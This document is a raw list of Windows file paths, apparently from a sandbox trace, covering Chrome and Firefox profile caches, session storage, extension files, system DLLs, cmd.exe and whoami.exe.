C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\NMMHKKEGCCAGDLDGIIMEDPICCMGMIEDA\1.0.0.6_0\_METADATA\COMPUTED_HASHES.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\CHROMEEXTMALWARE.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_0
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\LOCK
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_1
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\CURRENT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\MANIFEST-000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\000003.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_2
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\CERTCSDDOWNLOADWHITELIST.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\DATA_3
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\CHROMEURLCLIENTINCIDENT.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLBILLING.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLCSDDOWNLOADWHITELIST.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES-JOURNAL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLCSDWHITELIST.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\_METADATA\VERIFIED_CONTENTS.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLSUBRESOURCEFILTER.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLSUSPICIOUSSITE.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\_METADATA\COMPUTED_HASHES.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLHIGHCONFIDENCEALLOWLIST.STORE
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\DEFAULT_APPS\EXTERNAL_EXTENSIONS.JSON
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\02154C37-3F85-453C-8A76-53E8FE50073E.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\02154C37-3F85-453C-8A76-53E8FE50073E.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\MIRRORING_COMMON.JS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\COMMON.JS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\BACKGROUND_SCRIPT.JS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\9021.222.0.0_0\_LOCALES\EN\MESSAGES.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_0
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_1
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_2
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\DATA_3
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\INDEX
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000003
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000004
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000005
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000006
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000007
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000008
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\110444F16F5AAD68DBD2A40C58D06192F57E7671
C:\WINDOWS\SYSTEM32\VM3DUM64_10.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_0
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_1
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\CDF359E63200C01C1961DA51E2DC1A04CDBFB351
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_2
C:\WINDOWS\SYSTEM32\D3D9.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000009
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CACHE\DATA_3
C:\WINDOWS\SYSTEM32\D3D8THK.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\LOG.OLD~RF33523.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\LOCK
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\CURRENT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\MANIFEST-000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSION STORAGE\000003.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\LOG.OLD~RF33532.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\LOCK
C:\WINDOWS\SYSTEM32\VM3DUM64.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\CURRENT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\MANIFEST-000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000008.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000007.LDB
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\LEVELDB\000005.LDB
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\FD3AEBF6-FDE9-4371-8C28-147437625B0A.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\FD3AEBF6-FDE9-4371-8C28-147437625B0A.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONSTORE-BACKUPS\PREVIOUS.JSONLZ4
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONSTORE-BACKUPS\RECOVERY.JSONLZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SECURE PREFERENCES~RF3367A.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\D14E66F5-ABF6-4692-B595-CE078BF67768.TMP
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\CEDE75D8-C5AE-4D61-B7EE-D3A8DEBE144F.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\CEDE75D8-C5AE-4D61-B7EE-D3A8DEBE144F.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES~RF3368A.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-BACKUP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\1FF385E7F2CEDC7951EA20F46E6F490DEA2D32A6
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6A76A59281CB3A7AC68DB9BF8B6D556AE6143544
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\LOG.OLD~RF33699.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\FD118A45F3BEF03093C6AE970E12E22A37CA14A7
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\LOCK
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\CURRENT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\MANIFEST-000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC EXTENSION SETTINGS\PKEDCJKDEFGPDELPBCMBMEOMCJBEEMFM\000003.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\31926
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000A
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000B
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000C
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000D
C:\WINDOWS\SYSTEM32\RPCRT4.DLL
C:\WINDOWS\SYSTEM32\DDRAW.DLL
C:\WINDOWS\SYSTEM32\CRYPTNET.DLL
C:\WINDOWS\SYSTEM32\DCIMAN32.DLL
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\SWIFTSHADER\LIBGLESV2.DLL
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\SWIFTSHADER\LIBEGL.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\6BADA8974A10C4BD62CC921D13E43B18_711ED44619924BA6DC33E69F97E7FF63
C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\6BADA8974A10C4BD62CC921D13E43B18_711ED44619924BA6DC33E69F97E7FF63
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\INDEX
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_0
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_1
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_2
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\GRSHADERCACHE\GPUCACHE\DATA_3
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\SESSION_13265622810697400
C:\WINDOWS\SYSTEM32\CRYPT32.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\SESSION_13265536074385778
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\SESSION_13270569652648141
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\LOG.OLD~RF339D4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\LOCK
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\CURRENT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\MANIFEST-000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSION STATE\000003.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000E
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00000F
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\REPORTING AND NEL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\TABS_13270569653350072
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\E3C6D6FD9EC7E549A6FB8CE9A060A9FA1C05509A
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000010
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000011
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000012
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\F446C358036A91339069420C3A2A7C9C50FDAEAE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000013
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000014
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000015
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\B1D658415DD895D9FE270E6D3854AFDD795ED7C2
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\D70A24DC7A68EE41D18B8F81040EC0EAF67B4D78
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\48264E209B61627BA21A1D2C1228E548DE53B76C
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000016
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_192_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
C:\WINDOWS\SYSTEM32\MSASN1.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\845FB8210689E40B72435606518FCD8F9DBD0974
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\1BDA01C8408A48409E0C578D93AF61F8E6D19C09
C:\WINDOWS\SYSTEM32\WINTRUST.DLL
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_115_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\TMP-V3E.XPI
C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\6BADA8974A10C4BD62CC921D13E43B18_1DC6D7385EA816C957BA2B715AC5C442
C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\6BADA8974A10C4BD62CC921D13E43B18_1DC6D7385EA816C957BA2B715AC5C442
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000017
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000018
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_000019
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001A
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001B
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001C
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\1BB62A10-7CAF-435C-98E8-9809AFB9D916.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\WEB DATA-JOURNAL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\63C53237-514E-437A-97DB-EC3AF09FC1BE.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCAL STATE~RF34088.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\93AFE481-B98F-4949-A08F-A7E2959910F7.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES~RF340A7.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCAL STATE~RF340A7.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001D
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\A4A5D767-3FE9-471D-8580-E1C14772DA88.TMP
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_191_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
C:\WINDOWS\SYSTEM32\SHLWAPI.DLL
C:\WINDOWS\SYSTEM32\GDI32.DLL
C:\WINDOWS\SYSTEM32\USER32.DLL
C:\WINDOWS\SYSTEM32\LPK.DLL
C:\WINDOWS\SYSTEM32\USP10.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001E
C:\WINDOWS\SYSTEM32\OLE32.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\TRANSPORTSECURITY~RF34365.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\92C1D788-082C-4A08-B6E9-2FB2EA63A043.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\NETWORK PERSISTENT STATE~RF34375.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\EXTENSION-PREFERENCES.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\C2182FB18019F0DBC1ACBA843332BBB7A89EFD75
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\83F80ED5B15DA402401FA7E11FAEFEFEBA014246
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\OLD_CACHE_000\F_00001F
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\3D43CE4D5218E67309490E0EA2E3BAC76A972B13
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\C184C4871FBD90E16BD29E354FC2356A34E1FE6C
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\58771F3710D243825A906D42B85CB812E29621EF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CHROME_SHUTDOWN_MS.TXT
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\1938CFD0-AE9B-43BF-B660-54723276F5E8.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\TEMP\1938CFD0-AE9B-43BF-B660-54723276F5E8.TMP
C:\WINDOWS\SYSTEM32\IEFRAME.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\34CFD09719B443B0A838BE09123E9A4B203735A3
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\NTPH.CAT
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\NT5.CAT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\URLCACHE-NEW.BIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-NEW.BIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CHILD-NEW.BIN
C:\WINDOWS\SYSTEM32\CMD.EXE
C:\WINDOWS\SYSTEM32\MSCTF.DLL
C:\WINDOWS\SYSTEM32\WS2_32.DLL
C:\WINDOWS\SYSTEM32\NSI.DLL
C:\WINDOWS\SYSTEM32\OLEAUT32.DLL
C:\WINDOWS\SYSTEM32\WINBRAND.DLL
C:\WINDOWS\SYSTEM32\EN-US\CMD.EXE.MUI
C:\PROGRAM FILES\MOZILLA FIREFOX\D3DCOMPILER_47.DLL
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\NVRNLE489LAX2GQG.TXT
C:\WINDOWS\SYSTEM32\WHOAMI.EXE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\ABAC94D4FAA003732FA085D6ADD8B12021C2256C
C:\PROGRAM FILES\MOZILLA FIREFOX\LIBGLESV2.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\3C0B34D8FD01659D736AE7675223599A68A8A895
C:\PROGRAM FILES\MOZILLA FIREFOX\LIBEGL.DLL
C:\WINDOWS\SYSTEM32\SETUPAPI.DLL
C:\WINDOWS\SYSTEM32\D3D10WARP.DLL
C:\WINDOWS\SYSTEM32\CFGMGR32.DLL
C:\WINDOWS\SYSTEM32\DEVOBJ.DLL
C:\WINDOWS\SYSTEM32\WLDAP32.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\191A9CFAA5753D7D6DCA531FB45E7443914E093F
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\ADDONS.JSON.TMP
C:\PROGRAM FILES\MOZILLA FIREFOX\MOZAVUTIL.DLL
C:\WINDOWS\SYSTEM32\CLBCATQ.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\MOZAVCODEC.DLL
C:\WINDOWS\SYSTEM32\EN-US\WHOAMI.EXE.MUI
C:\WINDOWS\SYSTEM32\MSMPEG2ADEC.DLL
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\A3FB11I7ZNAQRVGE.TXT
C:\USERS\PUBLIC\BPS\V3\LOG.TXT
